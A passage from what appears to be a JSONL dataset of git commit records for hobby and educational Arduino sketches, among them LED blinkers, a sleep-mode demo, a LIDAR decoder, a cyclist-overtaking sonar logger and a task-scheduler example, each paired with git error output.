inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(inputString);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino_md03_v_4_0.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"50e9c5dd6feb2f5d6902de3cb850a610d244a795","subject":"fifth","message":"fifth\n","repos":"lindakellner\/attempt,lindakellner\/attempt","old_file":"dreifachblinker.ino","new_file":"dreifachblinker.ino","new_contents":"const int ledPin1 = 8;\nconst int ledPin2 = 10;\nconst int ledPin3 = 12;\n\nint ledState1 = LOW;\nint ledState2 = LOW;\nint ledState3 = LOW;\n\nunsigned long previousMillis1 = 0;\nunsigned long previousMillis2 = 0;\nunsigned long previousMillis3 = 0;\n\nint led1int = 500;\nint led2int = 1000;\nint led3int = 1500;\n\nvoid setup() {\n pinMode(ledPin1, OUTPUT);\n pinMode(ledPin2, OUTPUT);\n pinMode(ledPin3, OUTPUT);\n pinMode(taster, INPUT);\n}\n\n void loop() {\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis1 >= led1int) {\n previousMillis1 = currentMillis;\n\n if (ledState1 == LOW) {\n ledState1 = HIGH;\n } else {\n ledState1 = LOW;\n }\n}\n\n if (currentMillis - previousMillis2 >= led2int) {\n previousMillis2 = currentMillis;\n\n if (ledState2 == LOW) {\n ledState2 = HIGH;\n } else {\n ledState2 = LOW;\n }\n}\n\n if (currentMillis - previousMillis3 >= led3int) {\n previousMillis3 = currentMillis;\n\n if (ledState3 == LOW) {\n ledState3 = HIGH;\n } else {\n ledState3 = LOW;\n }\n}\n\n digitalWrite(ledPin1, ledState1);\n digitalWrite(ledPin2, ledState2);\n digitalWrite(ledPin3, ledState3);\n }\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"dad88536fbf8eb86d20af0874b2f34c940249c7d","subject":"Create Blink.ino","message":"Create Blink.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/Blink\/Blink.ino","new_file":"examples\/Blink\/Blink.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin(); \/\/ initialize LED screen\n}\n\nvoid loop() {\n SCREEN.plot(2, 2); \/\/ turn the LED (2,2) on\n delay(1000); \/\/ wait for a second\n SCREEN.unplot(2, 2); \/\/ turn the LED (2,2) off\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca1052fbff4aa9b112590a1635d0109f5c33800a","subject":"Sleep Demo Added","message":"Sleep Demo Added\n","repos":"maly\/edushield,arduino-edushield\/edushield,arduino-edushield\/edushield,maly\/edushield","old_file":"examples\/Sleep\/Sleep.ino","new_file":"examples\/Sleep\/Sleep.ino","new_contents":"int RED = A2;\nint YELLOW = A3;\nint GREEN = 13;\nint BUTTON = 2;\n\n#include <avr\/sleep.h> \/\/ library for sleep\n#include <avr\/power.h> \/\/ library for power control\n\nint currentState = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(RED,OUTPUT);\n pinMode(GREEN,OUTPUT);\n pinMode(YELLOW,OUTPUT);\n pinMode(BUTTON,INPUT_PULLUP); \n digitalWrite(RED, LOW);\n digitalWrite(GREEN, LOW);\n digitalWrite(YELLOW, LOW);\n\n pinMode(BUTTON, INPUT);\n \/\/ https:\/\/www.arduino.cc\/en\/Reference\/AttachInterrupt\n attachInterrupt(digitalPinToInterrupt(BUTTON), newState, FALLING);\n\n showLights();\n}\n\n\n\nvoid showLights() {\n switch (currentState) {\n case 0: \n digitalWrite(RED,HIGH);\n digitalWrite(YELLOW,LOW);\n digitalWrite(GREEN, LOW);\n break;\n case 1: \n digitalWrite(RED,HIGH);\n digitalWrite(YELLOW,HIGH);\n digitalWrite(GREEN, LOW);\n break;\n case 2: \n digitalWrite(RED,LOW);\n digitalWrite(YELLOW,LOW);\n digitalWrite(GREEN, HIGH);\n break;\n case 3: \n digitalWrite(RED,LOW);\n digitalWrite(YELLOW,HIGH);\n digitalWrite(GREEN, LOW);\n break;\n }\n}\n\nvoid newState() {\n switch (currentState) {\n case 0:\n currentState = 1;\n break;\n case 1:\n currentState = 2;\n break;\n case 2:\n currentState = 3;\n break;\n case 3:\n currentState = 0;\n break;\n }\n showLights();\n}\n\n\/\/ Put the Arduino to deep sleep. Only an interrupt can wake it up.\nvoid sleep()\n{ \n\n \/\/ Set sleep to full power down. Only external interrupts or\n \/\/ the watchdog timer can wake the CPU!\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n \n \/\/ Turn off the ADC while asleep.\n power_adc_disable();\n \n \/\/ Enable sleep and enter sleep mode.\n sleep_mode();\n\n \/\/ CPU is now asleep and program execution completely halts!\n \/\/ Once awake, execution will resume at this point if the\n \/\/ watchdog is configured for resume rather than restart\n \n \/\/ When awake, disable sleep mode\n sleep_disable();\n\n \/\/ put everything on again\n power_all_enable();\n \n}\n\n\nvoid loop() {\n showLights();\n sleep();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sleep\/Sleep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8793b3cce9fc88bb3ff694c26bfa37311ef7ff9","subject":"Create neato.ino","message":"Create neato.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"neato.ino","new_file":"neato.ino","new_contents":"\n\n\ndouble angle=0;\nint r=115;\nint rMin=15;\nint x2;\nint y2;\nint cY;\nint cX;\nunsigned int distance;\nunsigned int distance_array[360];\nunsigned char distanceLow=0;\nunsigned char distanceHigh=0;\nunsigned char flag1=0;\nunsigned char flag2=0;\n\nconst int DesiredRPM=300; \/\/ Setting Desired RPM Here.\nconst int MotorPWMPin=8;\n\n\nint inByte = 0; \/\/ incoming serial byte\nunsigned char Data_status=0;\nunsigned char Data_4deg_index=0;\nunsigned char Data_loop_index=0;\nunsigned char SpeedRPHhighbyte=0; \/\/ \nunsigned char SpeedRPHLowbyte=0;\n\nint SpeedRPH=0;\nconst unsigned char PWM4dutyMax=255;\nconst unsigned char PWM4dutyMin=100;\n\/\/const unsigned char PWM4dutyMin=178;\nunsigned char PWM4duty=PWM4dutyMin; \/\/ have to set a default value make motor start spining\n\n void setup() {\n pinMode(MotorPWMPin, OUTPUT); \n \n analogWrite(MotorPWMPin, PWM4dutyMin); \n Serial.begin(115200); \/\/ USB serial\n Serial3.begin(115200); \/\/ XV-11 LDS data \n \n\n \/\/ prints title with ending line break \n Serial.println(\"Arduino Neato XV-11 Motor control board v0.1 by Cheng-Lung Lee\"); \/\/ thanks!\n \n \/\/ Pick your magic number and drive your motor , 178 is 178\/255*5V=3.49V\n analogWrite(MotorPWMPin, PWM4duty);\n \n \n \n char CharMsg[4];\n itoa(r,CharMsg,10);\n \n}\n\nvoid loop() {\n \/\/ if we get a valid byte from LDS, read it and send it to USB-serial\n if (Serial3.available() > 0) {\n \/\/ get incoming byte:\n inByte = Serial3.read();\n \/\/Serial.write(inByte);\n decodeData(inByte);\n }\n\n}\n\nvoid decodeData(unsigned char inByte){\n \n switch (Data_status){\n \n case 0: \/\/ no header\n if (inByte==0xFA){\n Data_status=1;\n Data_loop_index=1;\n }\n break;\n \n case 1: \/\/ Find 2nd FA\n if (Data_loop_index==22){\n if (inByte==0xFA){\n Data_status=2;\n Data_loop_index=1;\n }else \/\/ if not FA search again\n Data_status=0;\n }else{\n Data_loop_index++;\n }\n break;\n \n case 2: \/\/ Read data out\n \n if (Data_loop_index==22){\n if (inByte==0xFA){\n Data_loop_index=1;\n } \n else \/\/ if not FA search again\n Data_status=0;\n }else{\n readData(inByte);\n Data_loop_index++;\n }\n break;\n }\n \n}\nvoid readData(unsigned char inByte){\n \n switch (Data_loop_index){\n \n case 1: \/\/ 4 degree index\n Data_4deg_index=inByte-0xA0;\n\/\/ Serial.print(Data_4deg_index, HEX); \n \n \n break;\n \n case 2: \/\/ Speed in RPH low byte\n SpeedRPHLowbyte=inByte;\n break;\n \n case 3: \/\/ Speed in RPH high byte\n SpeedRPHhighbyte=inByte;\n SpeedRPH=(SpeedRPHhighbyte<<8)|SpeedRPHLowbyte;\n \n SpeedControl(DesiredRPM); \n \n \n break;\n \n \n case 4:\n case 8:\n case 12:\n case 16:\n distanceLow=inByte;\n break; \n \n case 5:\n case 9:\n case 13:\n case 17:\n distanceHigh=inByte & B00111111; \/\/mask 14 and 15 bits\n \/\/distanceHigh=inByte & B11111100; \/\/mask 14 and 15 bits\n \n flag1=inByte & B10000000;\n flag2=inByte & B01000000;\n \n distance=(distanceHigh<<8)|distanceLow;\n \n \n \n if (true){\n\n int dataIndex;\n switch (Data_loop_index){\n case 5:\n dataIndex=0;\n break;\n case 9:\n dataIndex=1; \n break;\n case 13:\n dataIndex=2; \n break;\n case 17:\n dataIndex=3; \n break;\n }\n \n int angleIndex=Data_4deg_index*4 + dataIndex;\n\n if (flag1==0 && flag2==0){\n\n distance_array[angleIndex]=distance;\n \n }else{\n distance_array[angleIndex]=0;\n }\n\n\n\n \n\n if (dataIndex==3 && Data_4deg_index==89) drawMap();\n\n }\n break; \n \n \n default: \/\/ others do checksum\n \n break;\n \n \n } \n \n \n \n \n}\n\n\n\/\/ Very simple speed control\nvoid SpeedControl ( int RPMinput)\n{\n\/\/ if (Data_4deg_index%30==0) { \/\/ I only do 3 updat I feel it is good enough for now\n if (Data_4deg_index%40==0) { \/\/ I only do 3 updat I feel it is good enough for now\n if (SpeedRPH<RPMinput*60)\n if (PWM4duty<PWM4dutyMax) PWM4duty++; \/\/ limit the max PWM make sure it don't overflow and make LDS stop working\n if (SpeedRPH>RPMinput*60)\n if(PWM4duty>PWM4dutyMin) PWM4duty--; \/\/Have to limit the lowest pwm keep motor running\n } \n analogWrite(MotorPWMPin, PWM4duty ); \/\/ update value\n}\n\n\nvoid drawMap(){\n for (int i=0;i<360;i++){\n int distMax=6000;\n int d=distance_array[i];\n distance_array[i]=0;\n if (d==0 || d>distMax)continue;\n\n \n int r2=map(d, 0, distMax, 0, 115);\n \n \n Serial.print(i);\n Serial.print(\" D:\");\n Serial.println(r2);\n \/\/to radians\n double rad_angle= i * 3.1415 \/ 180;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'neato.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c5f97fe653b3bd6f1e62a6b3c0f2d6d2ed8b93f","subject":"Delete blink_test.ino","message":"Delete blink_test.ino","repos":"pylonman\/simple_gpio_class","old_file":"blink_test.ino","new_file":"blink_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pylonman\/simple_gpio_class.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"ab088b396c0d9b8e940bec13b729e950c72be3ee","subject":"ciclosonar.ino","message":"ciclosonar.ino\n\nCodigo do arduino\n","repos":"iacapuca\/ciclosonar","old_file":"ciclosonar.ino","new_file":"ciclosonar.ino","new_contents":"\/*\nPROGRAMA CICLOSSONAR\nVers\u00e3o 0.2\nPedro Luiz Santos e Daniel Valen\u00e7a\nData de modificacao: 2015.01.08\n*\/\n \n\/*\nMARCO LEGAL:\n\u00c9 definida a dist\u00e2ncia conforme o C\u00f3digo Brasileiro de Tr\u00e2nsito\nem seu artigo 201, como 1,5m o m\u00ednimo para ultrapassagem de um\nciclista pelo motorista. No artigo XXX \u00e9 definido que deve-se\ndiminuir a velocidade ao ultrapassar os ciclistas para uma\ncompat\u00edvel com a segura\u00e7a.\n \nOBJETIVOS:\nO projeto Ciclossonar tem como objetivo medir a dist\u00e2ncia\nque os motoristas passam ao ultrapassar os ciclistas e com\nisso fomentar pol\u00edticas p\u00fablicas que reduzam acidentes e\nestimulem um tr\u00e2nsito seguro e humano.\n \nOBJETIVOS ESPEC\u00cdFICOS:\n1 - Medir a dist\u00e2ncia em cada ponto da bicicleta\n2 - Medir a velocidade do ciclista\n3 - Medir a velocidade relativa do motorista com o ciclista\n4 - Medir a velocidade do motorista\n5 - Medir o tamanho do ve\u00edculo que realiza ultrapassagem\n6 - Quantificar a quantidade de finos que o ciclista recebe:\n6.1 - Ao passar em ruas mais ou menos movimentadas\n6.2 - Por andar no canto ou mais ao centro da faixa\n6.3 - Conforme seu sexo\n6.4 - Conforme sua roupa e acess\u00f3rios\n6.5 - Conforme sua bicicleta\n7 - Medir o que influencia mais da dist\u00e2ncia ou da velocidade\nno conforto do ciclista ao pedalar, conforme sua experi\u00eancia\n \n*\/\n \n\/*\nETAPAS NECESS\u00c0RIAS NO C\u00d3DIGO DO ARDU\u00cdNO\n0.1 - Medir dist\u00e2ncia com sonar 1 - OK\n0.11 - Medir dist\u00e2ncia com sonar 2 - OK\n0.12 - Medir dist\u00e2ncia m\u00e9dia - OK\n0.2 - Gravar no Cart\u00e3o SD - OK\n0.21 - Bluetooth enviar dados para o celular - OK\n0.3 - Adicionar \"bot\u00e3o do p\u00e2nico\" - OK - Tem erros de compila\u00e7\u00e3o que foram corrigidos em 3.1\n0.31 - Buzzer ao apertar o bot\u00e3o - OK\n0.4 - Medir velocidade da bicicleta -\n0.5 - Receber dados do celular -\n0.51 - Receber dados GPS do celular -\n0.52 - Receber configura\u00e7\u00e3o pelo celular -\n0.5 - Controle de falsos positivos - Talvez o controle e configura\u00e7\u00f5es pelo celular\n0.51 - A bicicleta passa o carrou ou o contr\u00e1rio - Talvez o controle e configura\u00e7\u00f5es pelo celular\n0.6 - Colocar o bot\u00e3o do p\u00e2nico para ter mais fun\u00e7\u00f5es - Talvez o controle e configura\u00e7\u00f5es pelo celular\n0.61 - Colocar o buzzer para avisar sobre o funcionamento -\n0.8 - Medir a velocidade dos carros - Talvez deixar para software externo\n0.9 - Medir o comprimento dos carros - Talvez deixar para sofware externo\n0.91 - Diferenciar se carro, moto ou caminh\u00e3o - Talvez deixar para software externo\n1.0 - Lan\u00e7ar o prot\u00f3tipo\n*\/\n \n\/* BIBLIOTECAS INCLU\u00cdDAS *\/\n#include <SD.h> \/\/ Biblioteca de leitura do cart\u00e3o SD\n#include <NewPing.h> \/\/ Biblioteca de ???\n \n\/\/ DEFINI\u00c7\u00d5ES\n\/\/ DOS PINOS\n\/\/#define BLUETOOTH_TX_PIN 0 \/\/ Pino transmiss\u00e3o bluetooth\n\/\/#define BLUETOOTH_RX_PIN 1 \/\/ Pino transmiss\u00e3o bluetooth\n#define BUZZER_PIN 3 \/\/ Pino do buzzer\n#define USER_BUTTON_PIN 4 \/\/ Pino do bot\u00e3o do p\u00e2nico\n#define HALL_SENSOR_PIN 5 \/\/ Pino do sensor hall\n#define SONAR1_TRIG_PIN 6 \/\/ Pino do trigger do sonar 1\n#define SONAR1_ECHO_PIN 7 \/\/ Pino do echo do sonar 1\n#define SONAR2_TRIG_PIN 8 \/\/ Pino do trigger do sonar 2\n#define SONAR2_ECHO_PIN 9 \/\/ Pino do echo do sonar 2\n#define SDCARD_PIN 10\n\/\/ OUTRAS DEFINI\u00d5ES\n#define MAX_DISTANCE 50 \/\/ Defini\u00e7\u00e3o da dist\u00e2ncia m\u00e1xima de medi\u00e7\u00e3o dos Sonares\n \n\/\/ CRIA\u00c7\u00c3O DOS SONARES\nNewPing sonar1(SONAR1_TRIG_PIN, SONAR1_ECHO_PIN, MAX_DISTANCE);\nNewPing sonar2(SONAR2_TRIG_PIN, SONAR2_ECHO_PIN, MAX_DISTANCE);\n \n\/\/ VARI\u00c1VEIS GLOBAIS\n\/\/ Variaveis de configura\u00e7\u00e3o\nFile myFile; \/\/ Objeto do arquivo para salvar os dados\nchar nomeDoArquivo[] = \"log.txt\"; \/\/ Arquivo onde ser\u00e3o salvas os dados\nconst int distanciaSensores = 1; \/\/ Distancia que foi instalado os sensores\nconst int frequenciaDeLeitura = 200; \/\/ 200Hz\nconst float raioDaRoda = 700; \/\/ Raio da roda onde est\u00e1 o sensor hall\n\/\/Variaveis de uso global\nunsigned long tempoAtual; \/\/ Contagem do tempo\nunsigned long tempoInicial; \/\/ Tempo inicial do Arduino\nint contaRevolucoes; \/\/ Conta quantas revolucoes em um periodo de tempo\nunsigned long tempoRevolucoes;\nfloat velocidadeAtual;\n \n\/\/ FUN\u00c7\u00d5ES\nvoid inicializaSD();\nvoid imprimeSaida(unsigned long paraImpressao[], int totalVariaveis);\nboolean verificaUltrapassagem();\nfloat medeVelocidadeDoCiclista();\n \n\/\/ CONFIGURA\u00c7\u00c3O DO ARDU\u00cdNO\nvoid setup(){\n \n tempoInicial = millis();\n tempoRevolucoes = millis();\n velocidadeAtual = 0;\n \n \/\/ Raz\u00e3o de transmiss\u00e3o dos dados Seriais\n Serial.begin(9600);\n \n \/\/ Configura as portas\n pinMode(BUZZER_PIN, OUTPUT); \/\/ Inicializa a porta do buzzer\n pinMode(USER_BUTTON_PIN, INPUT); \/\/ Inicializa a porta do bot\u00e3o do p\u00e2nico\n pinMode(HALL_SENSOR_PIN, INPUT); \/\/ Inicializa a porta do sensor Hall\n pinMode(SDCARD_PIN, OUTPUT); \/\/ Inicicaliza a porta do SD CARD\n \n inicializaSD(nomeDoArquivo); \n}\n \n\/\/ ROTINA DE LOOP\nvoid loop(){\n \n int distanciaSonar1 = sonar1.ping_cm();\n int distanciaSonar2 = sonar2.ping_cm(); \n boolean botaoPanico = !digitalRead(USER_BUTTON_PIN);\n boolean revolucao = digitalRead(HALL_SENSOR_PIN);\n if (revolucao) {\n velocidadeAtual = medeVelocidadeDoCiclista();\n }\n tempoAtual = millis() - tempoInicial; \/\/ Acrescenta um ao tempo\n \n \/\/ O tempo de ativa\u00e7\u00e3o dos sonares serve para:\n \/\/ - definir quem est\u00e1 ultrapassando quem\n \/\/ - reduzir a quantidade de falsos positivos\n \/\/ - definir velocidade do carro\n \/\/ - definir comprimento do carro\n unsigned long tempoAtivacaoSonar1 = 0;\n unsigned long tempoAtivacaoSonar2 = 0;\n if (distanciaSonar1 > 0) {\n tempoAtivacaoSonar1 = tempoAtual;\n }\n if (distanciaSonar2 > 0) {\n tempoAtivacaoSonar2 = tempoAtual;\n }\n \n \/\/ Verifica se o carro ultrapassou o ciclista ou o inverso \n boolean dadoValido = true;\n \n if (dadoValido || botaoPanico) {\n if (botaoPanico) {\n digitalWrite(BUZZER_PIN, HIGH);\n } else {\n digitalWrite(BUZZER_PIN, LOW);\n }\n const int totalVariaveis = 7;\n unsigned long paraImpressao[totalVariaveis] = {\n botaoPanico,\n tempoAtual\/1000,\n distanciaSonar1,\n distanciaSonar2,\n tempoAtivacaoSonar1\/1000,\n tempoAtivacaoSonar2\/1000,\n velocidadeAtual\n };\n \n if (distanciaSonar1 > 0 || distanciaSonar2 > 0) {\n imprimeSaida(paraImpressao, totalVariaveis); \n }\n }\n}\n \n\/\/ Verfica se a bicicleta ultrapassou o carro ou o oposto\n\/\/ Verifica erros de falsos positivos espor\u00e1dicos\nboolean verificaUltrapassagem () {\n \/\/ Sensores distanciados de 1m\n \/\/ Um carro que est\u00e1 a 20m\/s (72km\/h)\n \/\/ Passa pelos dois sensores em 1\/20s\n \/\/ Dez leituras nesse tempo, talvez seja suficiente - leituras a 1\/200 s\n \n}\n \nfloat medeVelocidadeDoCiclista() { \n float velocidade;\n contaRevolucoes++;\n Serial.println(contaRevolucoes);\n if (millis() - tempoRevolucoes < 2000.0) {\n if (contaRevolucoes > 20) {\n tempoRevolucoes = millis();\n contaRevolucoes = 0;\n Serial.println((millis() - tempoRevolucoes)*contaRevolucoes*raioDaRoda*2*3.1415\/60);\n return (millis() - tempoRevolucoes)*contaRevolucoes*raioDaRoda*2*3.1415\/60;\n } else {\n return velocidadeAtual;\n }\n } else {\n return 0;\n }\n}\n \n\/\/FUN\u00c7\u00c3O IMPRIME TODAS AS SA\u00cdDAS DO PROGRAMA NO SD E NO SERIAL\nvoid imprimeSaida(unsigned long paraImpressao[], int totalVariaveis) {\n \/\/ Abre arquivos para impress\u00e3o\n \/\/myFile = SD.open(nomeDoArquivo, FILE_WRITE);\n for (int i = 0; i < totalVariaveis; i++) {\n \/\/myFile.print(paraImpressao[i]);\n \/\/myFile.print(\",\");\n Serial.print(paraImpressao[i]);\n if (i < totalVariaveis - 1) {\n Serial.print(\",\");\n }\n }\n \/\/ Adiciona nova linha\n \/\/myFile.println(\"\");\n Serial.println(\"\");\n \/\/ Fecha o arquivo para impress\u00e3o\n \/\/myFile.close();\n}\n \nvoid inicializaSD(char arquivo[]) {\n \/\/ Rotina de inicializa\u00e7\u00e3o do cart\u00e3o SD\n Serial.println(\"Inicializando o cartao SD\");\n if (!SD.begin(10)){\n Serial.println(\"A inicializacao falhou\");\n return; \/\/ Se falha, sai da rotina de configura\u00e7\u00e3o\n } else {\n Serial.println(\"Cartao SD Inicializado\");\n if (SD.exists(arquivo)) {\n Serial.print(\"O arquivo \");\n Serial.print(arquivo);\n Serial.print(\"existe\");\n } else {\n Serial.print(\"O arquivo \");\n Serial.print(arquivo);\n Serial.print(\"n\u00e3o existe\");\n }\n Serial.print(\"Criando arquivo \");\n Serial.println(arquivo); \/\/ N\u00e3o deveria criar apenas se inexistente?\n myFile = SD.open(arquivo, FILE_WRITE);\n myFile.close(); \n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'ciclosonar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4a1573bc185bfe4da1e2fe5b72a8a79971b6512","subject":"adding a blink file","message":"adding a blink file\n","repos":"Shwinn\/TeamRocket-Robotathon","old_file":"blink.ino","new_file":"blink.ino","new_contents":"\/*\n DigitalReadSerial with on-board Pushbutton\n Reads a digital input on pin 5, prints the result to the serial monitor \n\n This example code is in the public domain.\n*\/\n\n\/\/ digital pin 5 has a pushbutton attached to it. Give it a name:\nint pushButton = PUSH2;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n \/\/ make the on-board pushbutton's pin an input pullup:\n pinMode(pushButton, INPUT_PULLUP);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input pin:\n int buttonState = digitalRead(pushButton);\n \/\/ print out the state of the button:\n Serial.println(buttonState);\n delay(100); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39d74e406635be372f8af55c5a3adb750b271554","subject":"Serial Echo","message":"Serial Echo\n","repos":"dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella,dalek7\/umbrella","old_file":"Arduino\/SerialEcho\/SerialEcho.ino","new_file":"Arduino\/SerialEcho\/SerialEcho.ino","new_contents":"void setup() {\n Serial.begin(115200);\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n\n \/\/digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));\n \/\/delay(1000);\n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n \/\/char inChar = (char)Serial.read();\n int v = Serial.read();\n \/\/v = v+1; \n char vChar = (char) v;\n digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));\n Serial.println(vChar);\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SerialEcho\/SerialEcho.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d67ecb535ea2946cecc7de194e403eb25e381f06","subject":"Update mrs-airfoil-code.ino","message":"Update mrs-airfoil-code.ino","repos":"d008\/MAE224,d008\/MAE224,d008\/MAE224,d008\/MAE224","old_file":"Lab 4 Shells\/mrs-airfoil-code.ino","new_file":"Lab 4 Shells\/mrs-airfoil-code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab' did not match any file(s) known to git\nerror: pathspec '4' did not match any file(s) known to git\nerror: pathspec 'Shells\/mrs-airfoil-code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"419f1b1f97f674e07f27afba46faa43b68801d98","subject":"Kapitola: Po\u010d\u00edtanie \u010diar","message":"Kapitola: Po\u010d\u00edtanie \u010diar","repos":"Galeje\/Cing","old_file":"Programy\/09_Po\u010d\u00edtanie \u010diar.ino","new_file":"Programy\/09_Po\u010d\u00edtanie \u010diar.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/09_Po\u010d\u00edtanie' did not match any file(s) known to git\nerror: pathspec '\u010diar.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c1e4e272db2587df38baa62974d0106c63219eeb","subject":"v3.1.4 - example #25 added","message":"v3.1.4 - example #25 added\n","repos":"arkhipenko\/TaskScheduler,arkhipenko\/TaskScheduler","old_file":"examples\/Scheduler_example25_SCHEDULER_CHAIN\/Scheduler_example25_SCHEDULER_CHAIN.ino","new_file":"examples\/Scheduler_example25_SCHEDULER_CHAIN\/Scheduler_example25_SCHEDULER_CHAIN.ino","new_contents":"\/*\n TaskScheduler Example #25\n\n Create 10 random Tasks. Prints the entire chain.\n Then executes chain once printing the remaining chain from currently active task\n Deletes all tasks afterwards\n*\/\n\n\/\/ #define _TASK_TIMECRITICAL \/\/ Enable monitoring scheduling overruns\n#define _TASK_SLEEP_ON_IDLE_RUN \/\/ Enable 1 ms SLEEP_IDLE powerdowns between tasks if no callback methods were invoked during the pass\n\/\/ #define _TASK_STATUS_REQUEST \/\/ Compile with support for StatusRequest functionality - triggering tasks on status change events in addition to time only\n#define _TASK_WDT_IDS \/\/ Compile with support for wdt control points and task ids\n\/\/ #define _TASK_LTS_POINTER \/\/ Compile with support for local task storage pointer\n\/\/ #define _TASK_PRIORITY \/\/ Support for layered scheduling priority\n\/\/ #define _TASK_MICRO_RES \/\/ Support for microsecond resolution\n\/\/ #define _TASK_STD_FUNCTION \/\/ Support for std::function (ESP8266 and ESP32 ONLY)\n\/\/ #define _TASK_DEBUG \/\/ Make all methods and variables public for debug purposes\n\/\/ #define _TASK_INLINE \/\/ Make all methods \"inline\" - needed to support some multi-tab, multi-file implementations\n\/\/ #define _TASK_TIMEOUT \/\/ Support for overall task timeout\n\/\/ #define _TASK_OO_CALLBACKS \/\/ Support for dynamic callback method binding\n\/\/ #define _TASK_DEFINE_MILLIS \/\/ Force forward declaration of millis() and micros() \"C\" style\n#define _TASK_EXPOSE_CHAIN \/\/ Methods to access tasks in the task chain\n\n#include <TaskScheduler.h>\n#include <QueueArray.h>\n\n\/\/ Debug and Test options\n#define _DEBUG_\n\/\/#define _TEST_\n\n#ifdef _DEBUG_\n#define _PP(a) Serial.print(a);\n#define _PL(a) Serial.println(a);\n#else\n#define _PP(a)\n#define _PL(a)\n#endif\n\n\n\/\/ Scheduler\nScheduler ts;\n\nvoid taskCallback();\nvoid cleanUp();\n\nTask tManager(6000, TASK_ONCE, &cleanUp, &ts, false);\n\/*\n Scheduling defines:\n TASK_MILLISECOND\n TASK_SECOND\n TASK_MINUTE\n TASK_HOUR\n TASK_IMMEDIATE\n TASK_FOREVER\n TASK_ONCE\n TASK_NOTIMEOUT\n*\/\n\nint noOfTasks = 10;\nQueueArray <Task*> toDelete;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n#if defined(_DEBUG_) || defined(_TEST_)\n Serial.begin(115200);\n delay(2000);\n _PL(\"Scheduler Example: Expose Scheduler Task Chain\"); _PL();\n#endif\n\n _PL(\"Generating a random chain of tasks\");\n for (int i = 0; i < noOfTasks; i++) {\n long p = random(100, 5001); \/\/ from 100 ms to 5 seconds\n long j = random(1, 11); \/\/ from 1 to 10 iterations)\n Task *t = new Task(p, j, &taskCallback, &ts, false);\n _PP(F(\"Generated a new task:\\t\")); _PP(t->getId()); _PP(F(\"\\tInt, Iter = \\t\"));\n _PP(p); Serial.print(\", \"); _PL(j);\n if ( random(1, 100) > 50 ) {\n t->enable();\n }\n else {\n t->enableDelayed();\n }\n toDelete.push(t);\n }\n _PL();\n _PL(\"Printing the entire chain\");\n Task* f = ts.getFirstTask();\n Task* l = ts.getLastTask();\n while (f) {\n _PP(\"Task #\"); _PL(f->getId());\n f = f->getNextTask();\n }\n _PL();\n tManager.enableDelayed();\n}\n\n\nvoid loop() {\n ts.execute();\n}\n\n\nvoid taskCallback() {\n _PP(millis());\n _PP(\": taskCallback() of task #\");\n Task* t = ts.getCurrentTask();\n t->disable();\n _PL(t->getId());\n Task* l = ts.getLastTask();\n while (t) {\n _PP(\"#\"); _PP(t->getId());\n if (t->getNextTask() != NULL) _PP(\"->\");\n t = t->getNextTask();\n }\n _PL(); _PL();\n}\n\nvoid cleanUp() {\n _PL(\"Deleting tasks:\");\n do {\n Task* t = toDelete.pop();\n _PP(\"Deleting task #\"); _PL(t->getId());\n delete t;\n } while (!toDelete.isEmpty());\n\n for (;;) ;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Scheduler_example25_SCHEDULER_CHAIN\/Scheduler_example25_SCHEDULER_CHAIN.ino' did not match any file(s) known to 